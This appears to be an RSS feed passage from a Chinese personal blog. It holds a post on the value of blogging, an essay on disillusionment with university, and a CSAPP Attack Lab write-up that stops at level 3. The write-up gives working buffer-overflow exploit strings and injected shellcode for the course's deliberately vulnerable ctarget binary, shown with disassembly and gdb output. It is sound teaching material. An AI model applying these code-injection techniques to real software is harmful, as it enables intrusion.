&lt;p&gt;这个问题或许每个写作者都会遇到——&lt;strong&gt;“我写的这些东西真的有用吗？它真的有存在的价值吗？”&lt;/strong&gt; 过去，我也一直在思考这个问题。我写的内容往往来源于日记或随想，有时甚至一整周的内容并不能构成一篇完整的文章。&lt;/p&gt;
&lt;p&gt;直到本周，推送机制连续向我推荐了几篇相关内容，让我开始认真审视自己的写作。&lt;/p&gt;
&lt;p&gt;以下是其中一篇，我认为写得很棒：&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;让我们坦率一点吧，你写了一篇博客，根本没有人读。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;至少，没有你期望的那么多读者。你用心构思文章，精雕细琢每一个句子，精心挑选配图，然而最后却毫无反响——没有点赞，没有分享，没有互动。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;那么，写博客的意义何在？&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;关于写博客，存在两个误解。一个是：只要我写出好文章，读者自然会来。事实并非如此。互联网浩瀚无垠，博客文章如同风中的一片叶子，几乎无人注意。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;另一个误解是：如果没人阅读，写作就是浪费时间。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;其实，博客有其隐藏的价值。你写博客不是为了博得掌声，而是为了满足自己。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;写作能让思维更清晰，帮助你理清思绪、加深理解。当你写作时，你会思考得更深入，而思考得更深入，才能带来更好的行动。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;博客的首要读者并非他人，而是未来的你。你的文章将见证你思想的演变。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;此外，也许某天，某个真正需要这篇文章的人，会偶然找到它。一篇有深度的文章，往往比一篇病毒式传播的文章影响更深远、更持久。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;写博客，就像街头摄影。你拿着相机，漫步街头，捕捉某个充满光影、人性、情绪的瞬间，并将其记录下来。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;或许没有人关心你拍到了什么，但这并不是你摄影的理由。你摄影，是因为你看到了某些值得记录的东西。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;写博客也是如此。你写作，是因为你在思考，在观察，在记录。你希望将这些想法存放在某个地方。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;如果有人读到了，那很好。如果没有，你的写作依然完成了。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;这才是重点。&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;除此之外，还有另一篇文章让我印象深刻，可惜原文已经无法直接访问了：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B07-2.PNG&quot; alt=&quot;写博客的意义&quot;&gt;&lt;/p&gt;
&lt;p&gt;只能贴出这张截图，勉强看看吧 (￣▽￣)&quot;&lt;/p&gt;
&lt;p&gt;这两篇文章都阐述了同一个观点：&lt;strong&gt;写博客的意义，不在于获得关注，而在于它能帮助你学习、记录当下，并在互联网世界里留下属于你的痕迹。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这与我对博客的定位不谋而合（其实是别人当了我的嘴替hhh），也让我想起最近在读的《被讨厌的勇气》里的一句话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;人生是一连串的刹那。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;相比照片或影像记录，我更喜欢用文字定格记忆，或者说这些”刹那“。文字留给人更多想象的空间，让我在多年后回顾这些博客时，能够重新感受当时的自己，揣摩彼时的思绪。这是一件非常有趣的事。&lt;/p&gt;
&lt;p&gt;人生看似是一条连贯的线，实则由无数个点组成——博客、日记，甚至随笔，都是这些点的记录。&lt;/p&gt;
&lt;p&gt;所谓人生的连续性，不过是这些刹那的积累。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;一次失败的尝试：&lt;/h2&gt;
&lt;p&gt;这两周主要精力都放在网络问题的研究上。解决 docker 容器里奇奇怪怪的网络错误，鼓捣用于翻越 gfw 的网络协议，都是非常麻烦的事，但麻烦的同时也很有趣。&lt;/p&gt;
&lt;p&gt;在此期间看到了 cyp 学长折腾软路由的&lt;a href=&quot;https://cyp0633.icu/post/armbian-r2s-tproxy/&quot;&gt;文章&lt;/a&gt;于是奔着好玩，购置了一台 Nanopi R2S 也想掌控一下宿舍内的网络。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B07-1.JPG&quot; alt=&quot;Nanopi R2S,非常小巧&quot;&gt;&lt;/p&gt;
&lt;p&gt;遗憾的是由于学艺不精以及对于学校的网络拓扑图谈不上了解，所以第一次尝试失败了，打算在下周重新给它刷一下机，换一个系统下载插件再试试（在这里不得不感叹 cyp 学长是真能折腾以及真会折腾😥，又是为自己太菜感到悲伤的一天...)。&lt;/p&gt;
&lt;p&gt;不过值得庆幸的是，虽然软路由暂时没搞定，但自建梯子还是顺利搭好了（虽然这本身不算什么难事）。此外，由于国外服务器的性能远超我的实际需求，我打算在上面折腾一些有趣的东西，不过具体做什么，还在考虑中。&lt;/p&gt;
&lt;p&gt;一直以来，拥有一个自由的上网环境都是我的追求，而学习这些知识，说到底也是为了翻越 GFW，获取更开放的信息，或者说更接近全貌的信息。这让我想起当年的柏林墙——它或许能阻挡人们的脚步，却无法阻挡人们渴望交流与自由的心愿。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;有趣的文章：&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/uzAISeLI0f9vFaJpYunZPg&quot;&gt;gpt 眼中的人生&lt;/a&gt;，在 gpt4.5 出来后有人做的实验，十分有趣。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://sachachua.com/blog/2025/02/looking-at-landscapes-art-and-iteration/#:~:text=An%20important%20part%20to%20learn%20(and%20share)%20is%20how%20to%20let%20go%20of%20the%20frustration%20and%20self%2Ddoubt%20that%20get%20in%20the%20way%2C%20so%20that%20we%20can%20get%20on%20with%20the%20learning.%20That%27s%20hard&quot;&gt;学习（并分享）的一个重要方面是如何放下阻碍学习的挫败感和自我怀疑。&lt;/a&gt;这其实是阻碍我们进步的最大原因，想的太多，而做的太少，从而陷入深深的焦虑与自我怀疑中。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;下周不一定见，在学校内的素材积累进度有点慢，偶尔积攒够了，就来写上一写o(&lt;em&gt;￣▽￣&lt;/em&gt;)ブ。毕竟是我在写博客，而不是博客在赶我，思考与表达也是需要缓冲的👋。&lt;/p&gt;</content:encoded><category>week</category></item><item><title>对大学祛魅</title><link>https://cry4o4n0tfound.cn/blog/%E5%AF%B9%E5%A4%A7%E5%AD%A6%E7%A5%9B%E9%AD%85/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/%E5%AF%B9%E5%A4%A7%E5%AD%A6%E7%A5%9B%E9%AD%85/</guid><pubDate>Tue, 25 Feb 2025 12:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;国内绝大部分大学的本科教学，不是濒临崩溃，而是早已崩溃。&lt;/p&gt;
&lt;p&gt;​                                                                                                 ——《上海交通大学生存手册》&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;这是我一直想写的话题，以前总是顾虑太多，直到今晚看了知乎的一篇回答后才下定决心写下来。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;我不想成为被高中自己所厌恶的“沉默的大多数”。正好趁现在还有表达的欲望，释放出一些情绪。&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;期待与幻想&lt;/h3&gt;
&lt;p&gt;在进入大学之前，相信大多数人都会对大学抱有美好的幻想——至少对于我这个从小地方走出来的“小镇做题家”而言，“大学”这两个字意味着无限的可能与希望。&lt;/p&gt;
&lt;p&gt;为什么大学能承载这么多期待？&lt;/p&gt;
&lt;p&gt;一时半会儿说不清。但我想，最大的原因或许是因为中学时期读过江南的小说《此间的少年》。这本书把金庸武侠小说中的人物放进了“汴京大学”的校园生活，他们的青春恣意潇洒，让人神往。而当时的我正处于自我否定的阶段，与书中的少年相比，我更像&lt;em&gt;此间的尘埃&lt;/em&gt;，这个意象甚至演变成了我的网名——&lt;em&gt;此尘&lt;/em&gt;。但也正是因为这种对比，我对大学的憧憬更加深刻，毕竟，谁不想成为“此间的少年”呢？&lt;/p&gt;
&lt;p&gt;除此之外，高学历在社会上被普遍推崇，父母和老师总是告诉我们“上了大学就轻松了”，同学之间的各种关于未来的约定，亲戚邻里更是把“大学生”视作某种荣耀的象征。种种因素叠加，使得大学在我心中变得愈发神圣，仿佛是一座未曾踏足却早已被神化的殿堂，承载着期待、梦想，同时也潜藏着未知的迷惘。&lt;/p&gt;
&lt;p&gt;然而，正所谓“飞得越高，摔得越疼”，承载的东西越多，也就越难放下。&lt;/p&gt;
&lt;h3&gt;幻想的破灭&lt;/h3&gt;
&lt;p&gt;幻想破灭的感觉显然不好受。一年半以来，大学带给我的更多是失望。&lt;/p&gt;
&lt;p&gt;在课程上，老师大多照本宣科，机械地念着或许和我年纪相仿的PPT，毫无创意可言。无聊且繁琐的课程充斥着生活，但为了那张“有用”的文凭，我不得不去拼凑学分。我常常思考这些学分的意义，最终得出的结论是——毫无意义。或许有人会试图为其辩护，说这些课程可以“拓宽综合素质”，但在我看来，本科教育的本质只是在用这些课程消磨学生的意志，让我们在不断的妥协中适应未来的社会规则。&lt;/p&gt;
&lt;p&gt;更令我感到无趣的，是周围的人大多缺乏探索的热情。诚然，我不该用自己的标准去要求他人，但这份落差依然让我感到遗憾。&lt;/p&gt;
&lt;p&gt;我尝试去理解这种现象的原因。前几天读到一篇&lt;a href=&quot;https://blog.tokisakix.cn/2023/03/10/hello-world/&quot;&gt;博客&lt;/a&gt;，其中的观点让我有所启发。我在这里尝试总结我的思考，这些看法可能很主观，甚至有些刻薄，但这是我的真实感受。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;眼界与认知的局限&lt;/strong&gt;
大多数人是通过高考进入大学的。然而，在经历了十几年的应试教育后，思维方式已经固化。做题成了习惯，考证成了目标，保研是摆在面前最明确的道路。沿着熟悉的轨迹走下去，是最省力、最稳妥的选择。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;现实的压力&lt;/strong&gt;
经济下行、就业形势严峻，使得大学生不得不更加功利地规划自己的未来。参加那些无法直接转化为“竞争优势”的竞赛，或者投入时间到社团活动中，都变得“不值得”。特别是在一些高校，竞赛在保研中的权重下降，使得学生更倾向于选择看似更“稳妥”的道路。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;外界的干扰&lt;/strong&gt;
处于信息爆炸的时代，短视频、游戏、社交媒体充斥着生活，让人很容易陷入奶头乐之中难以自拔。当探索的成本变高，而娱乐的获取变得廉价时，越来越少的人愿意主动走出舒适区。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上种种因素叠加，使得大学的“无趣”成为常态。在这样的环境下，找不到热情、感受不到意义，似乎也就不奇怪了。&lt;/p&gt;
&lt;h3&gt;祛魅之后&lt;/h3&gt;
&lt;p&gt;《了不起的盖茨比》的开篇有这样一句话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“每当你要批评别人，”他告诉我，“要记住，世上不是每个人都有你这么好的条件。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也许，这种对大学的幻灭感，本质上来源于我曾经对它过高的期待。每个人的成长环境和背景不同，每个人都在做着适合自己的选择。我如果仅仅因为别人与我不同，就去批评他们，未免太过傲慢。&lt;/p&gt;
&lt;p&gt;SkyWt 说，大学四年应该当作一场“Gap Year”来度过，我十分赞同这个观点。同时也感谢 SkyWt 曾经给予我的帮助和引导，做很多事情是需要勇气的，尤其是对某种事物的“祛魅”。&lt;/p&gt;
&lt;p&gt;此刻，我完成了对大学的祛魅。它不再是我心中那座神圣的殿堂，而仅仅是我人生旅途中的一环。我要做的，不是沉溺于失望，而是坦然接受现实，去探寻真正属于自己的殿堂。&lt;/p&gt;
&lt;p&gt;我不再渴望成为“此间的少年”，我只希望自己拥有真正属于自己的选择。&lt;/p&gt;</content:encoded><category>随想录</category></item><item><title>Csapp3-attacklab</title><link>https://cry4o4n0tfound.cn/blog/attacklab/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/attacklab/</guid><pubDate>Sun, 23 Feb 2025 11:30:00 GMT</pubDate><content:encoded>&lt;h1&gt;CSAPP 3: Attack lab&lt;/h1&gt;
&lt;h2&gt;题目概览：&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/attacklab0.jpg&quot; alt=&quot;概览&quot;&gt;&lt;/p&gt;
&lt;p&gt;还是用 gpt 做了翻译，可能会有一点小偏差，毕竟没有仔细校对。&lt;/p&gt;
&lt;h1&gt;第一部分：CI&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;对于前三个阶段，您利用字符串将攻击CTARGET。此程序设置为每次运行时堆栈位置保持一致，以便可以将堆栈上的数据视为可执行代码。这些特性使得程序容易受到攻击，其中利用字符串包含可执行代码的字节编码。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;level : 1&lt;/h2&gt;
&lt;p&gt;函数 getbuf 在 CTARGET 中被一个名为 test 的函数调用，该函数具有以下 C 代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1 void test()
2 {
3 int val;
4 val = getbuf();
5 printf(&quot;No exploit. Getbuf returned 0x%x\n&quot;, val);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当 getbuf 执行其返回语句（getbuf 函数的第 5 行）时，程序通常在 test 函数中继续执行（在此函数的第 5 行）。我们希望改变这种行为。在文件 ctarget 中，有一个名为 touch1 的函数的以下 C 表示法代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void touch1()
 {
 vlevel = 1; /* Part of validation protocol */
 printf(&quot;Touch1!: You called   touch1()\n&quot;);
 validate(1);
 exit(0);
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;您的任务是让 CTARGET 在 getbuf执行返回语句时执行 touch1 的代码，而不是返回到 test。请注意，您的
利用字符串还可能破坏与这一阶段直接无关的栈部分，但这不会造成问题，因为 touch1 会直接导致程序退
出。
一些建议:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;所有您需要用于此级别构造利用字符串的信息，都可以通过检查 CTARGET 的反汇编版本来确定。使用obidump -d 获取此反汇编版本。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将touch1的起始地址的字节表示定位，以便getbuf代码末尾的ret 指令将控制权转移到
touchl.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;注意字节序。&lt;/strong&gt;(小端还是大端)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;您可能想使用 GDB 逐步执行 getbuf 的最后几条指令，以确保它正在正确执行。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;buf 在 getbuf 的栈帧中的位置取决于编译时常量 BUFFER SIZE 的值以及 GCC 使用的分配策略。您需要检查反汇编代码以确定其位置。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;解答：&lt;/h3&gt;
&lt;p&gt;按照它的建议用 objdump 反汇编，输出到 vscode 中查看:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;objdump -d ctarget &gt; ctarget_asm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;定位到对应函数部分：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;00000000004017a8 &amp;#x3C;getbuf&gt;:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 &amp;#x3C;Gets&gt;
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

00000000004017c0 &amp;#x3C;touch1&gt;:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)       4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 &amp;#x3C;puts@plt&gt;
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d &amp;#x3C;validate&gt;
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 &amp;#x3C;exit@plt&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于我们需要**让 CTARGET 在 getbuf执行返回语句时执行 touch1 的代码，而不是返回到 test，**注意到这里的 gets 函数。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;code&gt;gets&lt;/code&gt; 函数从标准输入读取一行字符串，并将其存储到指定的缓冲区中，但它不会检查缓冲区的大小。如果输入的数据超过了缓冲区的大小，多余的数据会覆盖相邻的内存区域，从而导致缓冲区溢出。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;具体来说就是这里的 sub 指令将 rsp 向下移动 40 字节，申请了栈空间，而 rdi 一般作为函数调用时的第一个参数，告诉了 Gets 函数&lt;strong&gt;缓冲区&lt;/strong&gt;的地址。&lt;/p&gt;
&lt;p&gt;前三个 level 均与缓冲区有关，所以有必要理解缓冲区到底是什么东西：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;以下内容来自 gpt：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;是的，&lt;strong&gt;缓冲区&lt;/strong&gt;通常是用来存储局部变量的，尤其是函数中的局部数据，比如输入数据、临时计算结果、数组、结构体等。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;为什么缓冲区通常是局部变量？&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;局部变量&lt;/strong&gt;：在函数调用时分配在栈上，函数返回时销毁。栈的设计是为了存储函数的局部变量和函数调用的相关数据（如返回地址、参数等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缓冲区&lt;/strong&gt;：通常用于存放一些临时的数据，如用户输入、读取的文件内容、网络数据等。这些数据通常是函数调用的局部数据，因此它们就会被分配到栈上的局部变量空间中。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;栈和局部变量的关系&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;在栈中，&lt;strong&gt;每个函数调用&lt;/strong&gt;都会为其局部变量分配一块空间，这一块空间通常称为&lt;strong&gt;栈帧&lt;/strong&gt;（stack frame）。在栈帧中，你可以放置多个局部变量，其中就包括&lt;strong&gt;缓冲区&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;举个简单的例子：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;void my_function() {
    char buffer[40];  // 这是局部变量，也就是缓冲区
    gets(buffer);      // 读取用户输入到缓冲区
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在上面的代码中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;buffer&lt;/code&gt; 是一个局部变量，它被分配在当前函数的栈帧中。&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;gets(buffer)&lt;/code&gt; 调用时，用户输入的数据会被存放在 &lt;code&gt;buffer&lt;/code&gt; 中。如果输入的数据超出 40 字节，就会发生缓冲区溢出，覆盖栈上其他数据（比如返回地址）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;栈帧的结构&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;每个函数的栈帧大致结构如下（以 &lt;code&gt;getbuf&lt;/code&gt; 为例）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;|---------------------|
|   返回地址          | &amp;#x3C;-- 这部分会被覆盖（缓冲区溢出时）
|---------------------|
|   栈帧指针 (RBP)    |
|---------------------|
|   其他局部变量      |
|---------------------|
|   缓冲区 (buffer)    | &amp;#x3C;-- 用户输入的缓冲区，可能会溢出
|---------------------|
|   ...               |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这个栈帧中，&lt;strong&gt;缓冲区&lt;/strong&gt;（&lt;code&gt;buffer&lt;/code&gt;）通常紧挨着返回地址的位置。当我们通过溢出缓冲区覆盖数据时，我们实际上覆盖的就是栈中的其他局部变量（如返回地址）。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;总结&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;缓冲区&lt;/strong&gt;是局部变量的一种，通常分配在栈帧中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;栈帧&lt;/strong&gt;包含函数调用的所有局部数据（包括缓冲区、返回地址等）。&lt;/li&gt;
&lt;li&gt;如果缓冲区的大小没有限制好，用户输入超长数据时，就可能会发生缓冲区溢出，覆盖栈帧中的其他内容，从而可能导致程序的异常行为或漏洞。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;gets 是我们在 cpp 中学到的，它正是一个没有控制输入的函数，所以这里我们构造一个字符串，字符串输入进去后在栈上越叠越高直至覆盖了提前分配的缓冲区。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;于是我们只需要将对应的返回地址修改为 touch 的入口处即可：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;#构造1le1.txt，前面反正可以随便填
#我们只需要满足对应的返回地址即可
12 34 56 78 
12 34 56 78 
12 34 56 78 
12 34 56 78 
12 34 56 78 
12 34 56 78 
12 34 56 78 
12 34 56 78 
12 34 56 78 
12 34 56 78
#这里注意小端序
c0 17 40 00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 hex2raw 构造（参考附录A）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cat 1le1.txt | ./hex2raw | ./ctarget -q
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;got it ! 成功通过。但作为第一题，我们应该了解详细了解一下原理。&lt;/p&gt;
&lt;p&gt;推荐在 gdb 中运行，查看一下运行逻辑。（记得在 run 后加 -q，毕竟咱也不是 cmu 的学生）&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;level : 2&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;void touch2(unsigned val)
{
 vlevel = 2; /* Part of validation protocol */
 if (val == cookie) {
 printf(&quot;Touch2!: You called touch2(0x%.8x)\n&quot;, val);
 validate(2);
 } 
 else {
 printf(&quot;Misfire: You called  touch2(0x%.8x)\n&quot;, val);
 fail(2);
 }
 exit(0);
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;您的任务是将 CTARGET 执行 touch2的代码，而不是返回到测试。然而，在这种情况下，您必须让 touch2看起来像您已经将其 cookie 作为参数传递给它。
一些建议:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;您需要将注入代码的地址的字节表示放置在适当的位置，以便在 getbuf 代码末尾的 ret 指令能够将其控制权转移过去。&lt;/li&gt;
&lt;li&gt;回忆一下，函数的第一个参数是通过寄存器 %rdi 传递的。&lt;/li&gt;
&lt;li&gt;您的注入代码应将寄存器设置为您的 cookie，然后使用 ret 指令将控制权转移到 touch2 的第一个指令&lt;/li&gt;
&lt;li&gt;不要尝试在您的漏洞利用代码中使用jmp 或 call 指令。这些指令的目标地址编码难以制定。即使在不是从调用返回的情况下，也要使用 ret 指令进行所有控制权转移。&lt;/li&gt;
&lt;li&gt;查看附录 B 中关于如何使用工具生成指令序列的字节级表示的讨论。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;解答：&lt;/h3&gt;
&lt;p&gt;这里依旧是要跳转，但是需要用到 cookie。大致意思是让我们能返回地址到 touch2 的同时，还要将 cookie 值传递过去，让 touch2 能顺利执行。&lt;/p&gt;
&lt;p&gt;先查看一下 touch 2。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;00000000004017ec &amp;#x3C;touch2&gt;:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl  $0x2,0x202ce0(%rip)        # 6044dc &amp;#x3C;vlevel&gt;
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 &amp;#x3C;cookie&gt;
  401802:	75 20                	jne    401824 &amp;#x3C;touch2+0x38&gt;
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	callq  400df0 &amp;#x3C;__printf_chk@plt&gt;
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	callq  401c8d &amp;#x3C;validate&gt;
  401822:	eb 1e                	jmp    401842 &amp;#x3C;touch2+0x56&gt;
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	callq  400df0 &amp;#x3C;__printf_chk@plt&gt;
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	callq  401d4f &amp;#x3C;fail&gt;
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	callq  400e40 &amp;#x3C;exit@plt&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到函数的第一个参数通常都是由 rdi 来传的，于是这里我们可以在 lev1 的基础上，在覆盖中插入给 rdi 赋值的过程。&lt;/p&gt;
&lt;p&gt;参考附录B的构建过程，由于我的 cookie 值是 0x59b997fa：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov $0x59b997fa %rdi
pushq $0x4017ec /* 这里的 pushq 将 touch2 压入栈，栈指针会下移*/
retq  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编辑后：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;gcc -c 1lev2.s
objdump -d 1lev2.o &gt; 1lev2.byte
#得到
1lev2.o:     file format elf64-x86-64
Disassembly of section .text:

0000000000000000 &amp;#x3C;.text&gt;:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到所需的字节码，接下来我们需要寻找缓冲区的位置，然后在对应位置进行插入，打开 gdb，设置断点。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;b Gets
x/50bx $rsp #查看缓冲区的入口位置,其实p $rsp就够了
#但最好还是掌握大体的位置
0x5561dc70:     0xb4    0x17    0x40    0x00    0x00    0x00    0x00    0x00
0x5561dc78:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc80:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc88:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc90:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc98:     0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
0x5561dca0:     0x76    0x19
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到开头的 4017b4 正是 getbuf 中 mov 的地址：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;00000000004017a8 &amp;#x3C;getbuf&gt;:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 &amp;#x3C;Gets&gt;
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里对应的正是到时候在 Gets 中 ret 返回的内容，显然我们找对了地方，于是编辑字节码。&lt;/p&gt;
&lt;p&gt;返回后才是我们缓冲区的位置。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;48 c7 c7 fa 
97 b9 59 68        /* movq  $0x59b997fa, %rdi */
ec 17 40 00        /* pushq $0x4017ec */
c3 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00
78 dc 61 55
00 00 00 00        /*注意别数错了！*/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功 pass。&lt;/p&gt;
&lt;h2&gt;level : 3&lt;/h2&gt;
&lt;p&gt;第三阶段还涉及代码注入攻击，但作为参数传递字符&lt;/p&gt;
&lt;p&gt;在文件 ctarget 中，函数 hexmatch 和 touch3 的 C 语言表示如下：&lt;/p&gt;
